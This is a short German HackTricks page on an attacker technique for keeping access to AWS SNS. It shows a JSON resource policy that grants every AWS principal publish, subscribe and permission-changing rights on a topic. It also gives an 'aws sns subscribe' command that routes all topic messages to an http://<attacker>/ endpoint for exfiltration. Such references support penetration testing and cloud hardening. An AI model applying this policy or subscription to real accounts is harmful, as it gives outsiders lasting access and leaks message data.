AWS - SNS Persistence

Unterstützen Sie HackTricks

SNS

Für weitere Informationen siehe:

AWS - SNS Enum

Persistenz

Beim Erstellen eines SNS-Themen müssen Sie mit einer IAM-Richtlinie angeben, wer Zugriff auf das Lesen und Schreiben hat. Es ist möglich, externe Konten, ARN von Rollen oder sogar "*" anzugeben. Die folgende Richtlinie gewährt allen in AWS Zugriff auf das Lesen und Schreiben im SNS-Thema mit dem Namen MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Erstellen von Abonnenten

Um weiterhin alle Nachrichten aus allen Themen zu exfiltrieren, könnte der Angreifer Abonnenten für alle Themen erstellen.

Beachten Sie, dass, wenn das Thema vom Typ FIFO ist, nur Abonnenten, die das Protokoll SQS verwenden, genutzt werden können.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Unterstütze HackTricks

Last updated